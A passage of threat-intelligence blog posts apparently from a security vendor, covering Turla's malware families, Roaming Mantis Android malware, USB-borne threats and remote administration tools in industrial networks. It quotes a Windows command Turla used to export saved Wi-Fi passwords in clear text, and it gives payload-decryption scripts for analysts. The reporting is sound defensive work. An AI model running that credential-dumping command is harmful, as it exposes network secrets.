    Even when deploying 0-days seems to be more frequent than it used to be, this would be the second time we have spotted FruityArmor using one of them to distribute its malware. This points to the resources and sophistication of this actor, along with the advanced final-stager they distribute.

    So far, this campaign has been extremely targeted, affecting a very low number of victims in the Middle East region, probably persons of interest for the attackers. However, the victimology is not clear, especially with such a small number of victims involved.

    We believe that although FruityArmor´s activity has been slowly increasing during the last two years, the extremely targeted nature of the attacks helps them fly below the radar.

    Appendix I – Indicators of compromise: Domains:


    Shedding Skin – Turla’s Fresh Faces

    Thu, 10/04/2018 - 12:00

    Turla, also known as Venomous Bear, Waterbug, and Uroboros, may be best known for what was at the time an “ultra complex” snake rootkit focused on NATO-related targets, but their malware set and activity is much broader. Our current focus is on more recent and upcoming activity from this APT, which brings an interesting mix of old code, new code, and new speculations as to where they will strike next and what they will shed.

    Much of our 2018 research focused on Turla’s KopiLuwak javascript backdoor, new variants of the Carbon framework and meterpreter delivery techniques. Also interesting was Mosquito’s changing delivery techniques, customized PoshSec-Mod open-source powershell use, and borrowed injector code. We tied some of this activity together with infrastructure and data points from WhiteBear and Mosquito infrastructure and activity in 2017 and 2018.

    For a first, our KopiLuwak research identified targets and delivery techniques, bringing more accuracy and reliability to the discussion. Also interesting is a review of Turla scripting artefacts leading to newer efforts like KopiLuwak, tracing from older scripting in development efforts in WhiteAtlas and WhiteBear. And, we find 2018 KopiLuwak delivery techniques that unexpectedly matched Zebrocy spearphishing techniques for a first time as well.

    Also highly interesting and unusual was the MiTM techniques delivering Mosquito backdoors. In all likelihood, Turla delivered a physical presence of some sort within Wifi range of targets. Download sessions with Adobe’s website were intercepted and injected to deliver Mosquito trojanized installers. This sort of hypothesis is supported by Mosquito installers’ consistent wifi credential theft. Meanwhile, injection and delivery techniques are undergoing changes in 2018 with reflective loaders and code enhancements. We expect to see more Mosquito activity into 2019.

    And finally, we discuss the Carbon framework, tying together the older, elegant, and functional codebase sometimes called “Snake lite” with ongoing efforts to selectively monitor high value targets. It appears that the backdoor is pushed with meterpreter now. And, as we see code modifications and deployment in 2018, we predict more development work on this matured codebase along with selective deployment to continue into 2019.

    Essentially, we are discussing ongoing activity revolving around several malware families:

    • KopiLuwak and IcedCoffeer
    • Carbon
    • Mosquito
    • WhiteBear
    Technical Rattle Turla’s Shifting to Scripting KopiLuwak and IcedCoffee, WhiteBear, and WhiteAtlas

    Since at least 2015 Turla has leveraged Javascript, powershell, and wsh in a number of ways, including in their malware dropper/installation operations as well as for implementing complete backdoors. The White Atlas framework often utilized a small Javascript script to execute the malware dropper payload after it was decrypted by the VBA macro code, then to delete the dropper afterwards. A much more advanced and highly obfuscated Javascript script was utilized in White Atlas samples that dropped a Firefox extension backdoor developed by Turla, but again the script was responsible for the simple tasks of writing out the extension.json configuration file for the extension and deleting itself for cleanup purposes.


    Turla’s first foray into full-fledged Javascript backdoors began with the usage of the IcedCoffee backdoor that we reported on in our private June 2016 “Ice Turla” report (available to customers of Kaspersky APT Intelligence Services), which led later to their more fully functional and complex, recently deployed, KopiLuwak backdoor. IcedCoffee was initially dropped by exploit-laden RTF documents, then later by macro-enabled Office documents. The macro code used to drop IcedCoffee was a slightly modified version of that found in White Atlas, which is consistent with the code sharing present in many Turla tools. A noteworthy change to the macro code was the addition of a simple web beacon that relayed basic information to Turla controlled servers upon execution of the macro, which not only helped profile the victim but also could be used to track the effectiveness of the attack.

    IcedCoffee is a fairly basic backdoor which uses WMI to collect a variety of system and user information from the system, which is then encoded with base64, encrypted with RC4 and submitted via HTTP POST to the C2 server. IcedCoffee has no built-in command capability, instead it may receive javascript files from the C2 server, which are deobfuscated and executed in memory, leaving nothing behind on disk for forensic analysis. IcedCoffee was not widely deployed, rather it was targeted at diplomats, including Ambassadors, of European governments.


    In November 2016, Kaspersky Lab observed a new round of weaponized macro documents that dropped a new, heavily obfuscated Javascript payload that we named KopiLuwak (one of the rarest and most expensive types of coffee in the world). The targeting for this new malware was consistent with earlier Turla operations, focusing on European governments, but it was even more selectively deployed than IcedCoffee.

    The KopiLuwak script is decoded by macro code very similar to that previously seen with IcedCoffee, but the resulting script is not the final step. This script is executed with a parameter used as a key to RC4 decrypt an additional layer of javascript that contains the system information collection and command and control beaconing functionality. KopiLuwak performs a more comprehensive system and network reconnaissance collection, and like IcedCoffee leaves very little on disk for investigators to discover other than the base script.

    Unlike IcedCoffee, KopiLuwak contains a basic set of command functionality, including the ability to run arbitrary system commands and uninstall itself. In mid-2017 a new version was discovered in which this command set had been further enhanced to include file download and data exfiltration capabilities.

    The most recent evolution in the KopiLuwak life cycle was observed in mid-2018 when we observed a very small set of systems in Syria and Afghanistan being targeted with a new delivery vector. In this campaign the KopiLuwak backdoor was encoded and delivered in a
    Windows shortcut (.lnk) file. The lnk files were an especially interesting development because the powershell code they contain for decoding and dropping the payload is nearly identical to that utilized by the Zebrocy threat actor a month earlier.

    Carbon – the long tail

    Carbon continues to be deployed against government and foreign affairs related organizations in Central Asia. Carbon targeting in this region has shifted across a few countries since 2014. Here, we find a new orchestrator v3.8.2 and a new injected transport library v4.0.8 deployed to multiple systems. And while we cannot identify a concrete delivery event for the dropper, its appearance coincides with the presence of meterpreter. This meterpreter reliance also coincides with wider Turla use of open source tools that we documented towards the end of 2017 and beginning of 2018.

    The Epic Turla operation reported in 2014 involved highly selective Carbon delivery and was a long term global operation that affected hundreds of victims. Only a small portion of these systems were upgraded to a malware set known as “the Carbon framework”, and even fewer received the Snake rootkit for “extreme persistence”. So, Carbon is known to be a sophisticated codebase with a long history and very selective delivery, and coincides with Snake rootkit development and deployment. In light of its age, it’s interesting that this codebase is currently being modified, with additional variants deployed to targets in 2018.

    We expect Carbon framework code modifications and predict selective deployment of this matured codebase to continue into 2019 within Central Asia and related remote locations. A complex module like this one must require some effort and investment, and while corresponding loader/injector and lateral movement malware moves to open source, this backdoor package and its infrastructure is likely not going to be replaced altogether in the short term.

    .JS attachments deliver Skipper/WhiteAtlas and WhiteBear

    We introduced WhiteBear actionable data to our private customers early 2017, and similar analysis to that report was publicly shared eight months later. Again, it was a cluster of activity that continued to grow past expectations. It is interesting because WhiteBear shared known compromised infrastructure with KopiLuwak: soligro[.]com. WhiteBear scripted spearphish attachments also follows up on initial WhiteAtlas scripting development and deployment efforts.

    Mosquito’s Changing 2018 Delivery Techniques

    In March 2018, our private report customers received actionable data on Mosquito’s inclusion of fileless and customized Posh-SecMod metasploit components. When discussion of the group’s metasploit use was made public, their tactics began to change.

    The “DllForUserFileLessInstaller” injector module maintained a compilation date of November 22, 2017, and was starting to be used by Mosquito to inject ComRAT modules into memory around January 2018. It is a small piece of metasploit injector code that accounts for issues with Wow64. Also, related open source powershell registry loader code oddly was modified to avoid AES use, and opt for 3DES encryption instead. Here is the modified Mosquito code:

    And here is the default Posh-SecMod code that they ripped from:

    We expect to see more open-source based or inspired fileless components and memory loaders from Mosquito throughout 2018. Perhaps this malware enhancement indicates that they are more interested in maintaining current access to victim organizations than developing offensive technologies.

    MiTM and Ducking the Mosquito Net

    We delivered actionable data on Mosquito to our private intel customers in early 2017. Our initial findings included data around an unusual and legitimate download URL for trojanized installers:


    While we could not identify the MiTM techniques with accuracy at the time, it is possible either WiFi MiTM or router compromise was used in relation to these incidents. It is unlikely, but possible, that ISP-level FinFisher MiTM was used, considering multiple remote locations across the globe were targeted.

    But there is more incident data that should be elaborated on. In some cases, two “.js” files were written to disk and the infected system configured to run them at startup. Their naming provides insight into the intention of this functionality, which is to keep the malware remotely updated via google application, and maintain local settings updates by loading and running “1.txt” at every startup. In a way, this staged script loading technique seems to be shared with the IcedCoffee javascript loading techniques observed in past Turla incidents focused on European government organizations. Updates are provided from the server-side, leading to fewer malware set findings.

    • google_update_checker.js
    • local_update_checker.js

    So, we should consider the wifi data collection that Mosquito Turla performed during these updates, as it hasn’t been documented publicly. One of the first steps that several Mosquito installer packages performed after writing and running this local_update js file was to export all local host’s WiFi profiles (settings and passwords) to %APPDATA%\<profile>.xml with a command line call:

    cmd.exe /c netsh wlan export profile key=clear folder="%APPDATA%"

    They then gather more network information with a call to ipconfig and arp -a. Maintaining ongoing host-based collection of wifi credentials for target networks makes it far easier to possess ongoing access to wifi networks for spoofing and MiTM, as brute-forcing or otherwise cracking weakly secured WiFi networks becomes unnecessary. Perhaps this particular method of location-dependent intrusion and access is on the decline for Mosquito Turla, as we haven’t identified new URLs delivering trojanized code.

    The Next Strike

    It’s very interesting to see ongoing targeting overlap, or the lack of overlap, with other APT activity. Noting that Turla was absent from the milestone DNC hack event where Sofacy and CozyDuke were both present, but Turla was quietly active around the globe on other projects, provides some insight as to ongoing motivations and ambitions of this group. It is interesting that data related to these organizations has not been weaponized and found online while this Turla activity quietly carries on.

    Both Turla’s Mosquito and Carbon projects focus mainly on diplomatic and foreign affairs targets. While WhiteAtlas and WhiteBear activity stretched across the globe to include foreign affairs related organizations, not all targeting consistently followed this profile. Scientific and technical centers were also targeted, and organizations outside of the political arena came under focus as well. Turla’s KopiLuwak activity does not necessarily focus on diplomatic/foreign affairs, and also winds down a different path. Instead, 2018 activity targeted government related scientific and energy research organizations, and a government related communications organization in Afghanistan. This highly selective but wider targeting set most likely will continue into 2019.
    From the targeting perspective, we see closer ties between the KopiLuwak and WhiteBear activity, and closer alignments between Mosquito and Carbon activity.

    And WhiteBear and KopiLuwak shared infrastructure while deploying unusual .js scripting. Perhaps open source offensive malware will become much more present in Mosquito and Carbon attacks as we see more meterpreter and injector code, and more uniquely innovative complex malware will continue to be distributed with KopiLuwak and a possible return of WhiteBear. And as we see with borrowed techniques from the previous zebrocy spearphishing, techniques are sometimes passed around and duplicated.

    Roaming Mantis part III: iOS crypto-mining and spreading via malicious content delivery system

    Mon, 10/01/2018 - 06:00

    In Q2 2018, Kaspersky Lab published two blogposts about Roaming Mantis sharing details of this new cybercriminal campaign. In the beginning, the criminals used DNS hijacking in vulnerable routers to spread malicious Android applications of Roaming Mantis (aka MoqHao and XLoader), spoofing legitimate applications such as Facebook and Chrome. During our research, it became clear that Roaming Mantis has been rather active and has evolved quickly. The group’s malware now supports 27 languages, including multiple countries from Asia and beyond, Europe and the Middle East. In addition, they have started using web crypto-mining for PC, and an Apple phishing page for iOS devices.

    You can check previous chapters of this research here:

    In addition we would like to thank and credit security researchers from LAC Co. Ltd. for a very insightful article describing how vulnerable routers were compromised by the Roaming Mantis group, which was disclosed in their Japanese blogpost in June 2018. According to this research, the threat actor logged in to their router using default ID and password, and changed legitimate DNS settings to rogue DNS settings, where the router’s control panel was accessible over the Internet.

    The Roaming Mantis group did not stop its activities after publication or our reports. We have confirmed several new activities and changes to their illegal profit-gaining methods such as web crypto mining for iOS devices, spreading via malicious content delivery system and so on. This blogpost reveals some details of our new findings related to Roaming Mantis, based on our research.

    Web crypto-mining for iOS devices

    The criminals previously targeted iOS devices using an Apple phishing site to steal credentials. However, they changed the HTML source code of the malicious landing page as follows:

    Part of HTML source code of the malicious landing page for iOS

    The code above shows that they disabled redirection to the fake Apple portal (with a phishing page) and added code with a web mining script (previously used only for the PC platform) to run mining on iOS devices.

    If the user visits this landing page from an iOS device, a blank page displays in the web browser. In the background, CPU usage increases to 90% immediately.

    Screen capture of the landing page and CPU monitoring tool

    Interestingly, the day after we confirmed this, the attacker switched back to Apple phishing again. We believe that the criminals, at that time, were testing the possible revenue from web mining on iOS devices, looking for an efficient way to monetize their activities.

    Filtering Japanese devices

    One thing we noticed is that the criminals responded to a number of articles and research activities coming from Japan. The new feature was added in the landing page to filter out Japanese environment:

    Added confirmation of Japanese environment for filtering

    It looks like they want to slow down infections of Japanese targets for the time being.

    Spreading via another malware delivery system

    In the middle of July 2018, the live landing page we had been monitoring unfortunately went dark. However, the malicious APK files of Roaming Mantis, detected as “”, were still being detected by our customers, according to our KSN data.

    Number of detected users from KSN data (Jun 10, 2018 – Sep 10, 2018)

    Our deeper investigation revealed that their new malware spreading method was the one used by other Android malware, the “sagawa.apk” delivery system. We published a Japanese blogpost of this Android malware in January 2018. Trend Micro named it FAKESPY and published a blogpost about it, “FakeSpy Android Information-Stealing Malware Targets Japanese and Korean-Speaking Users”. According to our previous blogpost, the infection vector involved users received a phishing SMS message spoofing a notification from a Japanese delivery company. The message contained a malicious URL. If the user clicked it, the server displayed a fake web site that downloaded and installed the malicious application “sagawa.apk”. We discovered two types of such “sagawa.apk” samples:

    Type A Type B File name sagawa.apk sagawa.apk md5 956f32a28d0057805c7234d6a13aa99b a19f4cb93274c949e66efe13173c95e6 File size 427KB (437,556) 2.3MB (2,381,665) Loader module \classes.dex \classes.dex +
    \lib\x86_64\ Encrypted payload (enc_data) \assets\a \assets\ Decrypt algorithm payload = base64_dec(zlib_dec(enc_data)); aes_key = base64_dec(hardcoded data);
    payload = AES_dec(enc_data, aes_key); Alias MaqHao (McAfee)
    XLoader (TrendMicro) FAKESPY (TrendMicro) Old file name facebook.apk
    ${random}.apk sagawa.apk

    Based on detailed static analysis, they belong to different Android malware families. Both Type A and Type B have common features, such as monitoring SMS messages and stealing data from infected devices. However, there are differences in their code structure, communication protocol and other features. One significant difference is that Type B targets Japan only, unlike Type A which is multilingual. Type B contains hardcoded strings that are displayed to infected users. These strings are in Japanese only.

    Japanese messages displayed to infected users

    In addition, this malware confirms whether a domestic Japanese prepaid card application is installed on the infected device.

    Check for the domestic Japanese prepaid card application “Au Wallet”

    If the application is installed on the device, the malware downloads and installs a fake application as its update.

    Unfortunately, the relationship between the Roaming Mantis group and the service owner of the “sagawa.apk” delivery mechanism isn’t very clear at the moment. They might just use the same service as customers, or might not. However, it is clear that these criminal groups use the same malware-spreading eco-system for spreading their Android malware.

    Researchers may use the following simplified python scripts to extract the payload from “sagawa.apk”:

    #!/usr/bin/env python import sys import zlib import base64 data = open(sys.argv[1],"rb").read() dec_z = zlib.decompress(data) dec_b = base64.b64decode(dec_z) with open(sys.argv[1]+".dec","wb") as fp: fp.write(dec_b)

    #!/usr/bin/env python import sys from Crypto.Cipher import AES, ARC4 import base64 data = open(sys.argv[1],"rb").read() key = sys.argv[2] aes_key = base64.b64decode(key) // key is H8chGVmHxKRdjVSO14Mvgg== in aes = dec = aes.decrypt(data) with open(sys.argv[1]+".dec","wb") as fp: fp.write(dec)

    Spreading via like a scam

    We also observed another malware distribution method of Roaming Mantis which is linked to Prezi is a popular computer application and online service to create dynamic presentations. The criminals used this service to spread their scam. When a user visits a page crafted by the attackers, a link is shown offering free content such as adult video, a game, a comic, music and so on, like pirate editions.

    Redirection to a scam page

    Based on our research, there were multiple messages leveraging different social engineering tricks to invite users to a scam website. On the other hand, the Roaming Mantis’ landing page was found to be linked to several such accounts carrying out redirections.

    Corrupted landing page code from Roaming Mantis posted on

    However, fortunately this code does not work because of mistakes made during the code preparation stage.

    Records of stolen data

    Kaspersky Lab discovered fragments of data stolen from victims’ Android devices via Type A of the malware, which suggests thousands of compromised victims:

    Suspected stolen data from victims’ Android devices

    This data contained phone number, date, IP, language, email/id, password, name, date of birth, address, credit card information including cvv, bank information, and secret question and answer in Simplified Chinese. Data headers in Chinese suggest that the attackers are fluent in Chinese – unless this is a false flag, of course. The first column seems to contain the record number, which in July was already over 4,800. The user device language setting may indicate victims’ geography. Below is a pie chart created from the language data:

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    Victims’ language settings (download)

    The top language is “en-us” (39%), the second is “ko-kr”, the third is “ru”. Judging from this data, victims’ geographical distribution has changed significantly since our first report. This might be due to the update adding support for 27 languages and the new distribution strategies. The reason why the “en-us” is the most popular could be because English is used as second language in several countries.


    In previous reports, we claimed that the Roaming Mantis campaign had evolved significantly in a short period of time, applying new attack methods and expanding its targets. It seems that the attack doesn’t stop developing. In our recent research, we found that they probed using a web miner for iOS, instead of redirecting to a fake Apple website.

    Another new method they applied is the use of a malware delivery eco-system that is probably operated by a third party and was used to spread other (maybe even unrelated) malware in the past. The infection vector in that case was an SMS message with a malicious link that led a user to a fake web site that offered a download of the malicious apk file “sagawa.apk”. It is not clear how Roaming Mantis and the distributor of “sagawa.apk” are related, but it’s worth mentioning the fact that they are now using the same eco-system.

    Roaming Mantis is also trying to spread its malware via, with a scam that offers a visitor free content such as videos and more.

    Judging from the list of stolen credentials, the attackers seems to have stolen a large amount of data from victims worldwide. This gives us a glimpse of the real scale of the attack, but we believe that this is just a tip of the iceberg.

    We strongly recommend that Android users turn off the option that allows installation of applications from third-party repositories, to keep their device safe. They should also be suspicious if their phones become unusually hot, which may be a side-effect of the hidden crypto-mining application in action.

    Kaspersky Lab products detect this malware with the following verdict:

    • HEUR:Trojan-Banker.AndroidOS.Wroba
    IoCs Malicious hosts:
    • 59.105.6[.]230
    • sagawa-otqwt[.]com
    • sagawa-polsw[.]com
    Hashes of Type A:
    • 956f32a28d0057805c7234d6a13aa99b sagawa.apk
    • 3562f9de6dbe70c2e19a20d8683330ce \classes.dex
    • 01fa0039b62c5db8d91dfc6b75b246f8 decrypted payload (dex file) from \assets\a
    Hashes of Type B:
    • a19f4cb93274c949e66efe13173c95e6
    • 5e913208ecc69427efb6bbf9e6505624 \classes.dex
    • 67bc2e8beb14b259a5c60fe7a31e6795 \arm64-v8a/
    • f120f5f78c7ef762996314cf10f343af \armeabi-v7a/
    • efe54c22e2b28a44f723d3479487620c \x86_64/
    • e723c6aec4433f3c6e5d3d24fe810e05 \x86/
    • daeccda295de93cf767fd39a86a44355 decrypted payload (jar file) from \assets\
    • 581b08b277a8504ed222a71c19cea5f9 classes.dex from decrypted payload

    USB threats from malware to miners

    Tue, 09/25/2018 - 06:00


    In 2016, researchers from the University of Illinois left 297 unlabelled USB flash drives around the university campus to see what would happen. 98% of the dropped drives were picked up by staff and students, and at least half were plugged into a computer in order to view the content. For a hacker trying to infect a computer network, those are pretty irresistible odds.

    USB devices have been around for almost 20 years, offering an easy and convenient way to store and transfer digital files between computers that are not directly connected to each other or to the internet. This capability has been exploited by cyberthreat actors, most famously by the Stuxnet worm in 2010, which used USB devices to inject malware into the network of an Iranian nuclear facility.

    Today, cloud services such as Dropbox have taken on much of the heavy lifting in terms of file storage and transfer, and there is greater awareness of the security risks associated with USB devices. Their use as an essential business tool is declining. Despite this, millions of USB devices are still produced and distributed annually, with many destined for use in homes, businesses and marketing promotion campaigns like trade show giveaways.

    USB devices remain a target for cyberthreats. Kaspersky Lab data for 2017 shows that every 12 months or so, around one in four users worldwide is affected by a ‘local’ cyber incident. These are attacks detected directly on a user’s computer and include infections caused by removable media like USB devices.

    This short report reviews the current cyberthreat landscape for removable media, particularly USBs, and provides advice and recommendations on protecting these little devices and the data they carry.

    Methodology and key findings

    The overview is based on detections by Kaspersky Lab’s file protection technologies in the drive root of user computers, with a specific scan filter and other measures applied. It covers malware-class attacks only and does not include detections of potentially dangerous or unwanted programs such as adware or risk tools (programs that are not inherently malicious, but are used to hide files or terminate applications, etc. that could be used with malicious intent). The detection data is shared voluntarily by users via Kaspersky Security Network (KSN).

    Key findings
    • USB devices and other removable media are being used to spread cryptocurrency mining software – and have been since at least 2015. Some victims were found to have been carrying the infection for years.
    • The rate of detection for the most popular bitcoin miner, Trojan.Win64.Miner.all, is growing by around one-sixth year-on-year.
    • One in 10 of all users hit by removable media infections in 2018 was targeted with this crypto-miner (around 9.22%, up from 6.7% in 2017 and 4.2% in 2016).
    • Other malware spread through removable media/USBs includes the Windows LNK family of Trojans, which has been among the top three USB threats detected since at least 2016.
    • The 2010 Stuxnet exploit, CVE-2010-2568, remains one of the top 10 malicious exploits spread via removable media.
    • Emerging markets are the most vulnerable to malicious infection spread by removable media – with Asia, Africa and South America among the most affected – but isolated hits were also detected in countries in Europe and North America.
    • Dark Tequila, a complex banking malware reported on August 21, 2018 has been claiming consumer and corporate victims in Mexico since at least 2013, with the infection spreading mainly through USB devices.
    The evolving cyberthreat landscape for USBs

    Infections caused by removable media are defined as local threats – those that are detected directly on a user’s computer, for example, during a scheduled, installation or user-initiated security scan. Local threats differ from threats targeting computers over the internet (web-borne threats), which are far more prevalent. Local infections can also be caused by an encrypted malicious program hidden in a complex installer. To isolate the data for malware spread by removable media such as USB devices, we took the detections triggered in the drive root of affected computers – a strong indicator that the infection source is removable media.

    This data shows that the number of removable media (drive root) threat detections has declined steadily since 2014, but the overall rate of decline may be slowing down. In 2014, the ratio between a user affected by a removable media threat and the total number of such threats detected was 1:42; by 2017 this had dropped by around half to 1:25; with the estimate for 2018 around 1:22.

    These numbers pale in comparison to web-borne threats: in 2017, Kaspersky Lab’s file antivirus detected 113.8 million likely removable media threats, while its web antivirus repelled just under 1.2 billion attacks launched from online resources. In light of this, it can be easy to overlook the enduring risks presented by removable media, even though around four million users worldwide will be infected in this way in 2018.

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    *Total number (in millions) of malware detections triggered in the drive root of user computers, a strong indicator of infection by removable media, 2013 – 2018. Source: KSN (download)

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    *Number of unique users (in millions) with malware detections triggered in the drive root of computers, a strong indicator of infection by removable media, 2013 – 2018. Source: KSN (download)

    USBs as a tool for advanced threat actors

    USB devices appeal to attackers targeting computer networks that are not connected to the internet – such as those powering critical national infrastructure. The most famous example of this is probably the Stuxnet campaign. In 2009 and 2010, the Stuxnet worm targeted Iran’s nuclear facilities in order to disrupt operations.

    USB devices were used to inject malware into the facilities’ air-gapped networks. Among other things, the devices included an exploit to a Windows LNK vulnerability (CVE-2010-2568) that enabled remote code execution. Other advanced threat actors, including Equation Group, Flame, Regin and HackingTeam, have all integrated exploits for this vulnerability into removable media to use in attacks.

    Further, the structure of most USB devices allows them to be converted to provide hidden storage compartments, for the removal of stolen data, for example. The ProjectSauron 2016 toolkit was found to include a special module designed to move data from air-gapped networks to internet-connected systems. This involved USB drives that had been formatted to change the size of the partition on the USB disk, reserving some hidden space (several hundred megabytes) at the end of the disk for malicious purposes.

    The Stuxnet survivor CVE-2010-2568

    Microsoft fixed the last of the vulnerable LNK code path in March 2015. However, in 2016, as many as one in four Kaspersky Lab users who encountered an exploit through any attack medium, including web-borne threats, faced an exploit for this vulnerability, (although it was overtaken in 2017 by the EternalBlue exploit). However, CVE-2010-2568 continues to feature in malware distributed by USB devices and other removable media: where, despite rapidly falling numbers of detections and victims, it still ranks among the top 10 drive root threats detected by KSN.

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    Total drive root (removable media) detections (in millions) of an exploit for CVE-2010-2568, 2013 – 2018. Source: KSN (download)

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    Users with drive root (removable media) detections (in millions) of an exploit for CVE-2010-2568, 2013 – 2018. Source: KSN (download)

    If the exploit detections provide an indication of the volume of malware being transmitted via removable media such as USBs, the following illustrate the kind of malware being distributed in this way.

    Malware delivered via removable media

    The top malware spread via removable media has stayed relatively consistent since at least 2016. For example, the family of Windows LNK malware, Trojans containing links for downloading malicious files or paths for launching a malicious executable, has remained among the top three threats spread by removable media. This malware is used by attackers to destroy, block, modify or copy data, or to disrupt the operation of a device or its network. The WinLNK Runner Trojan, which was the top detected USB threat in 2017, is used in worms for launching executable files.

    In 2017, 22.7 million attempted WinLNK.Agent infections were detected, affecting nearly 900,000 users. The estimate for 2018 is around 23 million attacks, hitting just over 700,000 users. This represents a 2% rise in detections and a 20% drop in the number of users targeted year-on-year.

    For the WinLNK Runner Trojan the numbers are expected to fall more sharply – with a 61% drop in detections from 2.75 million in 2017 to an estimated 1 million in 2018; and a decline of 51% in the number of users targeted (from around 920,000 in 2017 to just over 450,000 in 2018).

    Other top malware spread through USB devices includes the Sality virus, first detected in 2003 but heavily modified since; and the Dinihou worm that automatically copies itself onto a USB drive, creating malicious shortcuts (LNKs) that launch the worm as soon as the new victim opens them.

    Miners – rare but persistent

    USB devices are also being used to spread cryptocurrency mining software. This is relatively uncommon, but successful enough for attackers to continue using this method of distribution. According to KSN data, a popular crypto-miner detected in drive roots is Trojan.Win32.Miner.ays/Trojan.Win64.Miner.all, known since 2014.

    Malware in this family secretly uses the processor capacity of the infected computer to generate the cryptocurrency. The Trojan drops the mining application onto the PC, then installs and silently launches the mining software and downloads the parameters that enable it to send the results to an external server controlled by the attacker.

    Kaspersky Lab’s data shows that some of the infections detected in 2018 date back years, indicating a lengthy infection likely to have had a significant negative impact on the processing power of the victim device.

    Detection data for the 32-bit version of Trojan.Win32.Miner.ays is as follows:

    Year Detection data for Trojan.Win32.Miner.ays Unique user count 2017 778,620 236,000 2018 (estimate based on H1) 600,698 196,866

    Between H1 2017 (136,954 unique users) and H1 2018 (93,433 unique users), there was a fall of 28.13 percentage points in the number of people affected by the 32-bit version of the miner.

    The other version, Trojan.Win64.Miner.all, saw an expected surge in the first year of detection, after which the number of users hit has levelled out to a steady growth rate of around one-sixth per year. This small but steady growth rate can also been seen when the number of users targeted with this mining malware is compared against the overall number of users hit by removable media threats. This shows that around one in 10 users hit with a removable media threat in 2018 will be targeted with this miner, about a two-fold rise in two years.

    These results suggest that propagation via removable media works well for this threat.

    Detection data for Trojan.Win64.Miner.all is as follows:

    Year Detection data for
    Trojan.Win64.Miner.all Unique user count YoY change Unique user count as share of all users hit with a removable media threat 2016 4,211,246 245,702 +70.15% 4.2% 2017 4,214,785 301,178 +18.42% 6.7% 2018 (estimate based on H1) 4,209,958 362,242 +16.42% 9.2% Dark Tequila – advanced banking malware

    In August 2018, Kaspersky Lab researchers reported on a sophisticated cyber operation code-named Dark Tequila that has been targeting users in Mexico for at least the last five years, stealing bank credentials and personal and corporate data with malware that can move laterally through the victim computer while offline.

    According to Kaspersky Lab researchers, the malicious code spreads through infected USB devices and spear phishing and includes features to evade detection. The threat actor behind Dark Tequila is believed to be Spanish-speaking and Latin American in origin.

    Target geography

    Emerging markets appear to be the most vulnerable to infection by removable media.

    The annual numbers for 2017 show that in many such countries, around two-thirds of users experienced a ‘local’ incident, which includes drive root malware infections from removable media, compared to less than one in four in developed economies. These figures appear to be remaining consistent into 2018.

    For the LNK exploit spread through removable media, the most affected countries in 2018 to date are Vietnam (18.8% of users affected), Algeria (11.2%) and India (10.9%), with infections also found in the rest of Asia, Russia and Brazil, among others, and a few hits in a number of European countries (Spain, Germany, France, the UK and Italy), the U.S. and Japan.

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    Share of users affected by an exploit for CVE-2010-2568 through removable media, 2018. Source: KSN (only countries with more than 10,000 Kaspersky Lab customers are included) (download)

    The reach is broader for the miner. Trojan.Win32.Miner.ays/Trojan.Win.64.Miner.all detections are mainly found in India (23.7%), Russia (18.45% – likely to be impacted by a larger customer base) and Kazakhstan (14.38%), with infections also found in other parts of Asia and Africa, and a few hits in several European countries (the UK, Germany, the Netherlands, Switzerland, Spain, Belgium, Austria, Italy, Denmark and Sweden), the U.S., Canada and Japan.

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    Share of users affected by the bitcoin cryptocurrency miner through removable media, 2018. Source: KSN (only countries with more than 10,000 Kaspersky Lab customers are included) (download)

    Conclusion and advice

    The main purpose of this short paper is to raise awareness of a threat that consumers and businesses may underestimate.

    USB drives offer many advantages: they are compact and handy, and a great brand asset, but the devices themselves, the data stored on them and the computers they are plugged into are all potentially vulnerable to cyberthreats if left unprotected.

    Fortunately, there are some effective steps consumers and organizations can take to secure the use of USB devices.

    Advice for all USB users:

    • Be careful about the devices you connect to your computer – do you know where it came from?
    • Invest in encrypted USB devices from trusted brands – this way you know your data is safe even if you lose the device
    • Make sure all data stored on the USB is also encrypted
    • Have a security solution in place that checks all removable media for malware before they are connected to the network – even trusted brands can be compromised through their supply chain

    Additional advice for businesses:

    • Manage the use of USB devices: define which USB devices can be used, by whom and for what
    • Educate employees on safe USB practices – particularly if they are moving the device between a home computer and a work device
    • Don’t leave USBs lying around or on display

    Kaspersky Lab’s security solutions, such as Kaspersky Endpoint Security for Windows, provide security and encryption for all removable media including USB devices.

    Threats posed by using RATs in ICS

    Thu, 09/20/2018 - 06:00

    While conducting audits, penetration tests and incident investigations, we have often come across legitimate remote administration tools (RAT) for PCs installed on operational technology (OT) networks of industrial enterprises. In a number of incidents that we have investigated, threat actors had used RATs to attack industrial organizations. In some cases, the attackers had stealthily installed RATs on victim organizations’ computers, while in other cases, they had been able to use the RATs that were installed in the organization at the time of the attacks. These observations prompted us to analyze the scope of the threat, including the incidence of RATs on industrial networks and the reasons for using them.


    The statistical data presented in this paper was collected using the Kaspersky Security Network (KSN) from ICS computers protected by Kaspersky Lab products that Kaspersky Lab ICS CERT categorizes as part of the industrial infrastructure at organizations. This group includes Windows computers that perform one or several of the following functions:

    • supervisory control and data acquisition (SCADA) servers;
    • data storage servers (Historian);
    • data gateways (OPC);
    • stationary workstations of engineers and operators;
    • mobile workstations of engineers and operators;
    • Human Machine Interface (HMI).

    As part of our research, we considered and analyzed all popular RATs for Windows, with the exception of Remote Desktop, which is part of the Windows operating system. Our research into this RAT is ongoing and will be presented in the next paper of the series.

    The use of RATs in ICS

    According to KSN data, in the first half of 2018, legitimate RATs (programs categorized as not-a-virus: RemoteAdmin) were installed and used on one ICS computer in three.

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    Percentage of ICS computers that have RATs legitimately installed on them (download)

    The statistics support our observations: RATs are indeed often used on OT networks of industrial enterprises. We believe this could be due to attempts to reduce costs associated with maintaining ICS and minimize the response time in the event of malfunction.

    As we were able to find out, remote access to computers on the OT network is not restricted to administrators and engineers inside the enterprise network’s perimeter. It can also be made available via the internet to users outside the enterprise network perimeter. Such users can include representatives of third-party enterprises – employees of system integrators or ICS vendors, who use RATs for diagnostics, maintenance and to address any ICS malfunctions. As our industrial network security audits have shown, such access is often poorly supervised by the enterprise’s responsible employees, while remote users connecting to the OT network often have excessive rights, such as local administrator privileges, which is obviously a serious issue in terms of ensuring the information security of industrial automation systems.

    From interviews with engineers and operators of various industrial systems that we have audited, and based on an analysis of ICS user documentation, we have determined that RATs are most commonly used on industrial networks according to the following scenarios:

    1. To control/monitor HMI from an operator workstation (including displaying information on a large screen);
    2. To control/maintain HMI from an engineering workstation;
    3. To control SCADA from an operator workstation;
    4. To provide SCADA maintenance from an engineering workstation or a computer of a contractor/vendor (from an external network);
    5. To connect multiple operators to one operator workstation (thin client-like architecture used to save money on licenses for the software used on operator workstations);
